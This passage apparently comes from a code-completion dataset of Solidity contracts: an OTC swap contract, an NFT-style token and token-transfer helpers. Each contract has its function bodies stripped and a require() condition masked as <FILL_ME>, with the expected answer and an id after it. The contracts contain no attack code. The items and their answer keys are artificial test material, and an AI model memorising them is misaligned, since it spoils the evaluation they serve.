* @dev Emits an AuthorizeSender event
* @param authorizedSender address Address to authorize
*/
function authorizeSender(address authorizedSender) external {
}
/**
* @notice Authorize a delegated signer
* @dev Emits an AuthorizeSigner event
* @param authorizedSigner address Address to authorize
*/
function authorizeSigner(address authorizedSigner) external {
}
/**
* @notice Revoke an authorized sender
* @dev Emits a RevokeSender event
* @param authorizedSender address Address to revoke
*/
function revokeSender(address authorizedSender) external {
}
/**
* @notice Revoke an authorized signer
* @dev Emits a RevokeSigner event
* @param authorizedSigner address Address to revoke
*/
function revokeSigner(address authorizedSigner) external {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.AskOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidAskOrder(OTCTypes.AskOrder memory order) public view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.BidOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidBidOrder(OTCTypes.BidOrder memory order) public view returns(bool) {
}
/**
* @notice Determine whether a sender delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to send
*/
function _isSenderAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Determine whether a signer delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to sign
*/
function _isSignerAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param orderHash Hashed order to validate
* @param signature OTCTypes.Signature teh order signature
* @return bool True if order has a valid signature
*/
function _isValid(bytes32 orderHash, OTCTypes.Signature memory signature) internal pure returns(bool) {
}
/**
* @notice Validate all base data for a swap order
* @param expiry Order expiry time
* @param nonce Order expiry time
* @param signer Order signer responsible address
* @param sender Order sender responsible address
* @param affiliate Order affiliate responsible address
* @param signatory Order signatory address
* @param v Order `v` parameter on the signature
* @return The final sender address
*/
function _baseSwapValidation(
uint256 expiry,
uint256 nonce,
address signer,
address sender,
address affiliate,
address signatory,
uint8 v
) internal returns(address) {
// Ensure the order is not expired.
require(expiry > block.timestamp, "ACOOTC:: Order expired");
// Ensure the nonce is AVAILABLE (0x00).
require(<FILL_ME>)
// Ensure the order nonce is above the minimum.
require(nonce >= signerMinimumNonce[signer], "ACOOTC:: Nonce too low");
// Ensure distinct addresses.
require(signer != affiliate, "ACOOTC:: Self transfer");
// Mark the nonce UNAVAILABLE (0x01).
signerNonceStatus[signer][nonce] = UNAVAILABLE;
// Validate the sender side of the trade.
address finalSender;
if (sender == address(0)) {
// Sender is not specified. The msg.sender of the transaction becomes the sender of the order.
finalSender = msg.sender;
} else {
// Sender is specified. If the msg.sender is not the specified sender, this determines whether the msg.sender is an authorized sender.
require(_isSenderAuthorized(sender, msg.sender), "ACOOTC:: Sender unauthorized");
// The msg.sender is authorized.
finalSender = sender;
}
// Ensure distinct addresses.
require(signer != finalSender, "ACOOTC:: Self transfer");
// Validate the signer side of the trade.
if (v == 0) {
// Signature is not provided. The signer may have authorized the msg.sender to swap on its behalf, which does not require a signature.
require(_isSignerAuthorized(signer, msg.sender), "ACOOTC:: Signer unauthorized");
} else {
// The signature is provided. Determine whether the signer is authorized.
require(_isSignerAuthorized(signer, signatory), "ACOOTC:: Signer unauthorized");
}
return finalSender;
}
/**
* @notice Transfer an ACO token
* With the order ACO party parameters a new ACO token will be created
* The collateral is used to mint ACO and then those tokens are transferred
* @param from The ACO creator responsible
* @param to The ACO token destination
* @param data OTCTypes.PartyAco Order party parameters to the ACO token
* @return The created ACO address
*/
function _transferAco(address from, address to, OTCTypes.PartyAco memory data) internal returns(address) {
}
}
| signerNonceStatus[signer][nonce]==AVAILABLE,"ACOOTC:: Order taken or cancelled" | 296,422 | signerNonceStatus[signer][nonce]==AVAILABLE |
"ACOOTC:: Sender unauthorized" | pragma solidity ^0.6.6;
pragma experimental ABIEncoderV2;
import "./OTCTypes.sol";
import "./ACOAssetHelper.sol";
import "./SafeMath.sol";
import "./IACOFactory.sol";
import "./IWETH.sol";
import "./IACOToken.sol";
/**
* @title ACOOTC
* @dev Contract to trade OTC on ACO tokens.
* Inspired on Swap SC by AirSwap, under Apache License, Version 2.0
* https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/Swap.sol
*/
contract ACOOTC {
using SafeMath for uint256;
event Swap(
uint256 indexed nonce,
address indexed signer,
address indexed sender,
bool isAskOrder,
uint256 signerAmount,
address signerToken,
uint256 senderAmount,
address senderToken,
address affiliate,
uint256 affiliateAmount,
address affiliateToken
);
event Cancel(uint256 indexed nonce, address indexed signer);
event CancelUpTo(uint256 indexed nonce, address indexed signer);
event AuthorizeSender(address indexed authorizerAddress, address indexed authorizedSender);
event AuthorizeSigner(address indexed authorizerAddress, address indexed authorizedSigner);
event RevokeSender(address indexed authorizerAddress, address indexed revokedSender);
event RevokeSigner(address indexed authorizerAddress, address indexed revokedSigner);
//Domain and version for use in signatures (EIP-712)
bytes internal constant DOMAIN_NAME = "ACOOTC";
bytes internal constant DOMAIN_VERSION = "1";
// Unique domain identifier for use in signatures (EIP-712)
bytes32 private immutable _domainSeparator;
// Possible nonce statuses
bytes1 internal constant AVAILABLE = 0x00;
bytes1 internal constant UNAVAILABLE = 0x01;
// Address of the ACO Factory contract
IACOFactory public immutable acoFactory;
// Address of the WETH contract
IWETH public immutable weth;
// Mapping of sender address to a delegated sender address and bool
mapping(address => mapping(address => bool)) public senderAuthorizations;
// Mapping of signer address to a delegated signer and bool
mapping(address => mapping(address => bool)) public signerAuthorizations;
// Mapping of signers to nonces with value AVAILABLE (0x00) or UNAVAILABLE (0x01)
mapping(address => mapping(uint256 => bytes1)) public signerNonceStatus;
// Mapping of signer addresses to an optionally set minimum valid nonce
mapping(address => uint256) public signerMinimumNonce;
/**
* @notice Contract Constructor
* @dev Sets domain for signature validation (EIP-712) and the ACO Factory and WETH
* @param _acoFactory ACO Factory address
* @param _weth WETH address
*/
constructor(address _acoFactory, address _weth) public {
}
/**
* @notice Receive ETH from WETH contract
*/
receive() external payable {
}
/**
* @notice Atomic Token Swap for an Ask Order
* @param order OTCTypes.AskOrder Order to settle
*/
function swapAskOrder(OTCTypes.AskOrder calldata order) external {
}
/**
* @notice Atomic Token Swap for a Bid Order
* @param order OTCTypes.BidOrder Order to settle
*/
function swapBidOrder(OTCTypes.BidOrder calldata order) external {
}
/**
* @notice Cancel one or more open orders by nonce
* @dev Cancelled nonces are marked UNAVAILABLE (0x01)
* @dev Emits a Cancel event
* @dev Out of gas may occur in arrays of length > 400
* @param nonces uint256[] List of nonces to cancel
*/
function cancel(uint256[] calldata nonces) external {
}
/**
* @notice Cancels all orders below a nonce value
* @dev Emits a CancelUpTo event
* @param minimumNonce uint256 Minimum valid nonce
*/
function cancelUpTo(uint256 minimumNonce) external {
}
/**
* @notice Authorize a delegated sender
* @dev Emits an AuthorizeSender event
* @param authorizedSender address Address to authorize
*/
function authorizeSender(address authorizedSender) external {
}
/**
* @notice Authorize a delegated signer
* @dev Emits an AuthorizeSigner event
* @param authorizedSigner address Address to authorize
*/
function authorizeSigner(address authorizedSigner) external {
}
/**
* @notice Revoke an authorized sender
* @dev Emits a RevokeSender event
* @param authorizedSender address Address to revoke
*/
function revokeSender(address authorizedSender) external {
}
/**
* @notice Revoke an authorized signer
* @dev Emits a RevokeSigner event
* @param authorizedSigner address Address to revoke
*/
function revokeSigner(address authorizedSigner) external {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.AskOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidAskOrder(OTCTypes.AskOrder memory order) public view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.BidOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidBidOrder(OTCTypes.BidOrder memory order) public view returns(bool) {
}
/**
* @notice Determine whether a sender delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to send
*/
function _isSenderAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Determine whether a signer delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to sign
*/
function _isSignerAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param orderHash Hashed order to validate
* @param signature OTCTypes.Signature teh order signature
* @return bool True if order has a valid signature
*/
function _isValid(bytes32 orderHash, OTCTypes.Signature memory signature) internal pure returns(bool) {
}
/**
* @notice Validate all base data for a swap order
* @param expiry Order expiry time
* @param nonce Order expiry time
* @param signer Order signer responsible address
* @param sender Order sender responsible address
* @param affiliate Order affiliate responsible address
* @param signatory Order signatory address
* @param v Order `v` parameter on the signature
* @return The final sender address
*/
function _baseSwapValidation(
uint256 expiry,
uint256 nonce,
address signer,
address sender,
address affiliate,
address signatory,
uint8 v
) internal returns(address) {
// Ensure the order is not expired.
require(expiry > block.timestamp, "ACOOTC:: Order expired");
// Ensure the nonce is AVAILABLE (0x00).
require(signerNonceStatus[signer][nonce] == AVAILABLE, "ACOOTC:: Order taken or cancelled");
// Ensure the order nonce is above the minimum.
require(nonce >= signerMinimumNonce[signer], "ACOOTC:: Nonce too low");
// Ensure distinct addresses.
require(signer != affiliate, "ACOOTC:: Self transfer");
// Mark the nonce UNAVAILABLE (0x01).
signerNonceStatus[signer][nonce] = UNAVAILABLE;
// Validate the sender side of the trade.
address finalSender;
if (sender == address(0)) {
// Sender is not specified. The msg.sender of the transaction becomes the sender of the order.
finalSender = msg.sender;
} else {
// Sender is specified. If the msg.sender is not the specified sender, this determines whether the msg.sender is an authorized sender.
require(<FILL_ME>)
// The msg.sender is authorized.
finalSender = sender;
}
// Ensure distinct addresses.
require(signer != finalSender, "ACOOTC:: Self transfer");
// Validate the signer side of the trade.
if (v == 0) {
// Signature is not provided. The signer may have authorized the msg.sender to swap on its behalf, which does not require a signature.
require(_isSignerAuthorized(signer, msg.sender), "ACOOTC:: Signer unauthorized");
} else {
// The signature is provided. Determine whether the signer is authorized.
require(_isSignerAuthorized(signer, signatory), "ACOOTC:: Signer unauthorized");
}
return finalSender;
}
/**
* @notice Transfer an ACO token
* With the order ACO party parameters a new ACO token will be created
* The collateral is used to mint ACO and then those tokens are transferred
* @param from The ACO creator responsible
* @param to The ACO token destination
* @param data OTCTypes.PartyAco Order party parameters to the ACO token
* @return The created ACO address
*/
function _transferAco(address from, address to, OTCTypes.PartyAco memory data) internal returns(address) {
}
}
| _isSenderAuthorized(sender,msg.sender),"ACOOTC:: Sender unauthorized" | 296,422 | _isSenderAuthorized(sender,msg.sender) |
"ACOOTC:: Signer unauthorized" | pragma solidity ^0.6.6;
pragma experimental ABIEncoderV2;
import "./OTCTypes.sol";
import "./ACOAssetHelper.sol";
import "./SafeMath.sol";
import "./IACOFactory.sol";
import "./IWETH.sol";
import "./IACOToken.sol";
/**
* @title ACOOTC
* @dev Contract to trade OTC on ACO tokens.
* Inspired on Swap SC by AirSwap, under Apache License, Version 2.0
* https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/Swap.sol
*/
contract ACOOTC {
using SafeMath for uint256;
event Swap(
uint256 indexed nonce,
address indexed signer,
address indexed sender,
bool isAskOrder,
uint256 signerAmount,
address signerToken,
uint256 senderAmount,
address senderToken,
address affiliate,
uint256 affiliateAmount,
address affiliateToken
);
event Cancel(uint256 indexed nonce, address indexed signer);
event CancelUpTo(uint256 indexed nonce, address indexed signer);
event AuthorizeSender(address indexed authorizerAddress, address indexed authorizedSender);
event AuthorizeSigner(address indexed authorizerAddress, address indexed authorizedSigner);
event RevokeSender(address indexed authorizerAddress, address indexed revokedSender);
event RevokeSigner(address indexed authorizerAddress, address indexed revokedSigner);
//Domain and version for use in signatures (EIP-712)
bytes internal constant DOMAIN_NAME = "ACOOTC";
bytes internal constant DOMAIN_VERSION = "1";
// Unique domain identifier for use in signatures (EIP-712)
bytes32 private immutable _domainSeparator;
// Possible nonce statuses
bytes1 internal constant AVAILABLE = 0x00;
bytes1 internal constant UNAVAILABLE = 0x01;
// Address of the ACO Factory contract
IACOFactory public immutable acoFactory;
// Address of the WETH contract
IWETH public immutable weth;
// Mapping of sender address to a delegated sender address and bool
mapping(address => mapping(address => bool)) public senderAuthorizations;
// Mapping of signer address to a delegated signer and bool
mapping(address => mapping(address => bool)) public signerAuthorizations;
// Mapping of signers to nonces with value AVAILABLE (0x00) or UNAVAILABLE (0x01)
mapping(address => mapping(uint256 => bytes1)) public signerNonceStatus;
// Mapping of signer addresses to an optionally set minimum valid nonce
mapping(address => uint256) public signerMinimumNonce;
/**
* @notice Contract Constructor
* @dev Sets domain for signature validation (EIP-712) and the ACO Factory and WETH
* @param _acoFactory ACO Factory address
* @param _weth WETH address
*/
constructor(address _acoFactory, address _weth) public {
}
/**
* @notice Receive ETH from WETH contract
*/
receive() external payable {
}
/**
* @notice Atomic Token Swap for an Ask Order
* @param order OTCTypes.AskOrder Order to settle
*/
function swapAskOrder(OTCTypes.AskOrder calldata order) external {
}
/**
* @notice Atomic Token Swap for a Bid Order
* @param order OTCTypes.BidOrder Order to settle
*/
function swapBidOrder(OTCTypes.BidOrder calldata order) external {
}
/**
* @notice Cancel one or more open orders by nonce
* @dev Cancelled nonces are marked UNAVAILABLE (0x01)
* @dev Emits a Cancel event
* @dev Out of gas may occur in arrays of length > 400
* @param nonces uint256[] List of nonces to cancel
*/
function cancel(uint256[] calldata nonces) external {
}
/**
* @notice Cancels all orders below a nonce value
* @dev Emits a CancelUpTo event
* @param minimumNonce uint256 Minimum valid nonce
*/
function cancelUpTo(uint256 minimumNonce) external {
}
/**
* @notice Authorize a delegated sender
* @dev Emits an AuthorizeSender event
* @param authorizedSender address Address to authorize
*/
function authorizeSender(address authorizedSender) external {
}
/**
* @notice Authorize a delegated signer
* @dev Emits an AuthorizeSigner event
* @param authorizedSigner address Address to authorize
*/
function authorizeSigner(address authorizedSigner) external {
}
/**
* @notice Revoke an authorized sender
* @dev Emits a RevokeSender event
* @param authorizedSender address Address to revoke
*/
function revokeSender(address authorizedSender) external {
}
/**
* @notice Revoke an authorized signer
* @dev Emits a RevokeSigner event
* @param authorizedSigner address Address to revoke
*/
function revokeSigner(address authorizedSigner) external {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.AskOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidAskOrder(OTCTypes.AskOrder memory order) public view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.BidOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidBidOrder(OTCTypes.BidOrder memory order) public view returns(bool) {
}
/**
* @notice Determine whether a sender delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to send
*/
function _isSenderAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Determine whether a signer delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to sign
*/
function _isSignerAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param orderHash Hashed order to validate
* @param signature OTCTypes.Signature teh order signature
* @return bool True if order has a valid signature
*/
function _isValid(bytes32 orderHash, OTCTypes.Signature memory signature) internal pure returns(bool) {
}
/**
* @notice Validate all base data for a swap order
* @param expiry Order expiry time
* @param nonce Order expiry time
* @param signer Order signer responsible address
* @param sender Order sender responsible address
* @param affiliate Order affiliate responsible address
* @param signatory Order signatory address
* @param v Order `v` parameter on the signature
* @return The final sender address
*/
function _baseSwapValidation(
uint256 expiry,
uint256 nonce,
address signer,
address sender,
address affiliate,
address signatory,
uint8 v
) internal returns(address) {
// Ensure the order is not expired.
require(expiry > block.timestamp, "ACOOTC:: Order expired");
// Ensure the nonce is AVAILABLE (0x00).
require(signerNonceStatus[signer][nonce] == AVAILABLE, "ACOOTC:: Order taken or cancelled");
// Ensure the order nonce is above the minimum.
require(nonce >= signerMinimumNonce[signer], "ACOOTC:: Nonce too low");
// Ensure distinct addresses.
require(signer != affiliate, "ACOOTC:: Self transfer");
// Mark the nonce UNAVAILABLE (0x01).
signerNonceStatus[signer][nonce] = UNAVAILABLE;
// Validate the sender side of the trade.
address finalSender;
if (sender == address(0)) {
// Sender is not specified. The msg.sender of the transaction becomes the sender of the order.
finalSender = msg.sender;
} else {
// Sender is specified. If the msg.sender is not the specified sender, this determines whether the msg.sender is an authorized sender.
require(_isSenderAuthorized(sender, msg.sender), "ACOOTC:: Sender unauthorized");
// The msg.sender is authorized.
finalSender = sender;
}
// Ensure distinct addresses.
require(signer != finalSender, "ACOOTC:: Self transfer");
// Validate the signer side of the trade.
if (v == 0) {
// Signature is not provided. The signer may have authorized the msg.sender to swap on its behalf, which does not require a signature.
require(<FILL_ME>)
} else {
// The signature is provided. Determine whether the signer is authorized.
require(_isSignerAuthorized(signer, signatory), "ACOOTC:: Signer unauthorized");
}
return finalSender;
}
/**
* @notice Transfer an ACO token
* With the order ACO party parameters a new ACO token will be created
* The collateral is used to mint ACO and then those tokens are transferred
* @param from The ACO creator responsible
* @param to The ACO token destination
* @param data OTCTypes.PartyAco Order party parameters to the ACO token
* @return The created ACO address
*/
function _transferAco(address from, address to, OTCTypes.PartyAco memory data) internal returns(address) {
}
}
| _isSignerAuthorized(signer,msg.sender),"ACOOTC:: Signer unauthorized" | 296,422 | _isSignerAuthorized(signer,msg.sender) |
"ACOOTC:: Signer unauthorized" | pragma solidity ^0.6.6;
pragma experimental ABIEncoderV2;
import "./OTCTypes.sol";
import "./ACOAssetHelper.sol";
import "./SafeMath.sol";
import "./IACOFactory.sol";
import "./IWETH.sol";
import "./IACOToken.sol";
/**
* @title ACOOTC
* @dev Contract to trade OTC on ACO tokens.
* Inspired on Swap SC by AirSwap, under Apache License, Version 2.0
* https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/Swap.sol
*/
contract ACOOTC {
using SafeMath for uint256;
event Swap(
uint256 indexed nonce,
address indexed signer,
address indexed sender,
bool isAskOrder,
uint256 signerAmount,
address signerToken,
uint256 senderAmount,
address senderToken,
address affiliate,
uint256 affiliateAmount,
address affiliateToken
);
event Cancel(uint256 indexed nonce, address indexed signer);
event CancelUpTo(uint256 indexed nonce, address indexed signer);
event AuthorizeSender(address indexed authorizerAddress, address indexed authorizedSender);
event AuthorizeSigner(address indexed authorizerAddress, address indexed authorizedSigner);
event RevokeSender(address indexed authorizerAddress, address indexed revokedSender);
event RevokeSigner(address indexed authorizerAddress, address indexed revokedSigner);
//Domain and version for use in signatures (EIP-712)
bytes internal constant DOMAIN_NAME = "ACOOTC";
bytes internal constant DOMAIN_VERSION = "1";
// Unique domain identifier for use in signatures (EIP-712)
bytes32 private immutable _domainSeparator;
// Possible nonce statuses
bytes1 internal constant AVAILABLE = 0x00;
bytes1 internal constant UNAVAILABLE = 0x01;
// Address of the ACO Factory contract
IACOFactory public immutable acoFactory;
// Address of the WETH contract
IWETH public immutable weth;
// Mapping of sender address to a delegated sender address and bool
mapping(address => mapping(address => bool)) public senderAuthorizations;
// Mapping of signer address to a delegated signer and bool
mapping(address => mapping(address => bool)) public signerAuthorizations;
// Mapping of signers to nonces with value AVAILABLE (0x00) or UNAVAILABLE (0x01)
mapping(address => mapping(uint256 => bytes1)) public signerNonceStatus;
// Mapping of signer addresses to an optionally set minimum valid nonce
mapping(address => uint256) public signerMinimumNonce;
/**
* @notice Contract Constructor
* @dev Sets domain for signature validation (EIP-712) and the ACO Factory and WETH
* @param _acoFactory ACO Factory address
* @param _weth WETH address
*/
constructor(address _acoFactory, address _weth) public {
}
/**
* @notice Receive ETH from WETH contract
*/
receive() external payable {
}
/**
* @notice Atomic Token Swap for an Ask Order
* @param order OTCTypes.AskOrder Order to settle
*/
function swapAskOrder(OTCTypes.AskOrder calldata order) external {
}
/**
* @notice Atomic Token Swap for a Bid Order
* @param order OTCTypes.BidOrder Order to settle
*/
function swapBidOrder(OTCTypes.BidOrder calldata order) external {
}
/**
* @notice Cancel one or more open orders by nonce
* @dev Cancelled nonces are marked UNAVAILABLE (0x01)
* @dev Emits a Cancel event
* @dev Out of gas may occur in arrays of length > 400
* @param nonces uint256[] List of nonces to cancel
*/
function cancel(uint256[] calldata nonces) external {
}
/**
* @notice Cancels all orders below a nonce value
* @dev Emits a CancelUpTo event
* @param minimumNonce uint256 Minimum valid nonce
*/
function cancelUpTo(uint256 minimumNonce) external {
}
/**
* @notice Authorize a delegated sender
* @dev Emits an AuthorizeSender event
* @param authorizedSender address Address to authorize
*/
function authorizeSender(address authorizedSender) external {
}
/**
* @notice Authorize a delegated signer
* @dev Emits an AuthorizeSigner event
* @param authorizedSigner address Address to authorize
*/
function authorizeSigner(address authorizedSigner) external {
}
/**
* @notice Revoke an authorized sender
* @dev Emits a RevokeSender event
* @param authorizedSender address Address to revoke
*/
function revokeSender(address authorizedSender) external {
}
/**
* @notice Revoke an authorized signer
* @dev Emits a RevokeSigner event
* @param authorizedSigner address Address to revoke
*/
function revokeSigner(address authorizedSigner) external {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.AskOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidAskOrder(OTCTypes.AskOrder memory order) public view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param order OTCTypes.BidOrder Order to validate
* @return bool True if order has a valid signature
*/
function isValidBidOrder(OTCTypes.BidOrder memory order) public view returns(bool) {
}
/**
* @notice Determine whether a sender delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to send
*/
function _isSenderAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Determine whether a signer delegate is authorized
* @param authorizer address Address doing the authorization
* @param delegate address Address being authorized
* @return bool True if a delegate is authorized to sign
*/
function _isSignerAuthorized(address authorizer, address delegate) internal view returns(bool) {
}
/**
* @notice Validate signature using an EIP-712 typed data hash
* @param orderHash Hashed order to validate
* @param signature OTCTypes.Signature teh order signature
* @return bool True if order has a valid signature
*/
function _isValid(bytes32 orderHash, OTCTypes.Signature memory signature) internal pure returns(bool) {
}
/**
* @notice Validate all base data for a swap order
* @param expiry Order expiry time
* @param nonce Order expiry time
* @param signer Order signer responsible address
* @param sender Order sender responsible address
* @param affiliate Order affiliate responsible address
* @param signatory Order signatory address
* @param v Order `v` parameter on the signature
* @return The final sender address
*/
function _baseSwapValidation(
uint256 expiry,
uint256 nonce,
address signer,
address sender,
address affiliate,
address signatory,
uint8 v
) internal returns(address) {
// Ensure the order is not expired.
require(expiry > block.timestamp, "ACOOTC:: Order expired");
// Ensure the nonce is AVAILABLE (0x00).
require(signerNonceStatus[signer][nonce] == AVAILABLE, "ACOOTC:: Order taken or cancelled");
// Ensure the order nonce is above the minimum.
require(nonce >= signerMinimumNonce[signer], "ACOOTC:: Nonce too low");
// Ensure distinct addresses.
require(signer != affiliate, "ACOOTC:: Self transfer");
// Mark the nonce UNAVAILABLE (0x01).
signerNonceStatus[signer][nonce] = UNAVAILABLE;
// Validate the sender side of the trade.
address finalSender;
if (sender == address(0)) {
// Sender is not specified. The msg.sender of the transaction becomes the sender of the order.
finalSender = msg.sender;
} else {
// Sender is specified. If the msg.sender is not the specified sender, this determines whether the msg.sender is an authorized sender.
require(_isSenderAuthorized(sender, msg.sender), "ACOOTC:: Sender unauthorized");
// The msg.sender is authorized.
finalSender = sender;
}
// Ensure distinct addresses.
require(signer != finalSender, "ACOOTC:: Self transfer");
// Validate the signer side of the trade.
if (v == 0) {
// Signature is not provided. The signer may have authorized the msg.sender to swap on its behalf, which does not require a signature.
require(_isSignerAuthorized(signer, msg.sender), "ACOOTC:: Signer unauthorized");
} else {
// The signature is provided. Determine whether the signer is authorized.
require(<FILL_ME>)
}
return finalSender;
}
/**
* @notice Transfer an ACO token
* With the order ACO party parameters a new ACO token will be created
* The collateral is used to mint ACO and then those tokens are transferred
* @param from The ACO creator responsible
* @param to The ACO token destination
* @param data OTCTypes.PartyAco Order party parameters to the ACO token
* @return The created ACO address
*/
function _transferAco(address from, address to, OTCTypes.PartyAco memory data) internal returns(address) {
}
}
| _isSignerAuthorized(signer,signatory),"ACOOTC:: Signer unauthorized" | 296,422 | _isSignerAuthorized(signer,signatory) |
null | pragma solidity 0.4.24;
contract Cryptopixel {
// Name of token
string constant public name = "CryptoPixel";
// Symbol of Cryptopixel token
string constant public symbol = "CPX";
using SafeMath for uint256;
/////////////////////////
// Variables
/////////////////////////
// Total number of stored artworks
uint256 public totalSupply;
// Group of artwork - 52 is limit
address[limitChrt] internal artworkGroup;
// Number of total artworks
uint constant private limitChrt = 52;
// This is address of artwork creator
address constant private creatorAddr = 0x174B3C5f95c9F27Da6758C8Ca941b8FFbD01d330;
// Basic references
mapping(uint => address) internal tokenIdToOwner;
mapping(address => uint[]) internal listOfOwnerTokens;
mapping(uint => string) internal referencedMetadata;
// Events
event Minted(address indexed _to, uint256 indexed _tokenId);
// Modifier
modifier onlyNonexistentToken(uint _tokenId) {
require(<FILL_ME>)
_;
}
/////////////////////////
// Viewer Functions
/////////////////////////
// Get and returns the address currently marked as the owner of _tokenID.
function ownerOf(uint256 _tokenId) public view returns (address _owner)
{
}
// Get and return the total supply of token held by this contract.
function totalSupply() public view returns (uint256 _totalSupply)
{
}
//Get and return the balance of token held by _owner.
function balanceOf(address _owner) public view returns (uint _balance)
{
}
// Get and returns a metadata of _tokenId
function tokenMetadata(uint _tokenId) public view returns (string _metadata)
{
}
// Retrive artworkGroup
function getArtworkGroup() public view returns (address[limitChrt]) {
}
/////////////////////////
// Update Functions
/////////////////////////
/**
* @dev Public function to mint a new token with metadata
* @dev Reverts if the given token ID already exists
* @param _owner The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender(creator)
* @param _metadata string of meta data, IPFS hash
*/
function mintWithMetadata(address _owner, uint256 _tokenId, string _metadata) public onlyNonexistentToken (_tokenId)
{
}
/**
* @dev Public function to add created token id in group
* @param _owner The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender(creator)
* @return _tokenId uint256 ID of the token
*/
function group(address _owner, uint _tokenId) public returns (uint) {
}
/////////////////////////
// Internal, helper functions
/////////////////////////
function _setTokenOwner(uint _tokenId, address _owner) internal
{
}
function _addTokenToOwnersList(address _owner, uint _tokenId) internal
{
}
function _insertTokenMetadata(uint _tokenId, string _metadata) internal
{
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
| tokenIdToOwner[_tokenId]==address(0) | 296,447 | tokenIdToOwner[_tokenId]==address(0) |
"ERR_TRANSFER_FAILED" | pragma solidity 0.4.26;
contract TokenHandler {
bytes4 private constant APPROVE_FUNC_SELECTOR = bytes4(keccak256("approve(address,uint256)"));
bytes4 private constant TRANSFER_FUNC_SELECTOR = bytes4(keccak256("transfer(address,uint256)"));
bytes4 private constant TRANSFER_FROM_FUNC_SELECTOR = bytes4(keccak256("transferFrom(address,address,uint256)"));
/**
* @dev executes the ERC20 token's `approve` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _spender approved address
* @param _value allowance amount
*/
function safeApprove(IERC20Token _token, address _spender, uint256 _value) internal {
}
/**
* @dev executes the ERC20 token's `transfer` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _to target address
* @param _value transfer amount
*/
function safeTransfer(IERC20Token _token, address _to, uint256 _value) internal {
}
/**
* @dev executes the ERC20 token's `transferFrom` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _from source address
* @param _to target address
* @param _value transfer amount
*/
function safeTransferFrom(IERC20Token _token, address _from, address _to, uint256 _value) internal {
}
/**
* @dev executes a function on the ERC20 token and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _data data to pass in to the token's contract for execution
*/
function execute(IERC20Token _token, bytes memory _data) private {
uint256[1] memory ret = [uint256(1)];
assembly {
let success := call(
gas, // gas remaining
_token, // destination address
0, // no ether
add(_data, 32), // input buffer (starts after the first 32 bytes in the `data` array)
mload(_data), // input length (loaded from the first 32 bytes in the `data` array)
ret, // output buffer
32 // output length
)
if iszero(success) {
revert(0, 0)
}
}
require(<FILL_ME>)
}
}
| ret[0]!=0,"ERR_TRANSFER_FAILED" | 296,505 | ret[0]!=0 |
null | pragma solidity ^0.4.16;
// copyright [email protected]
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
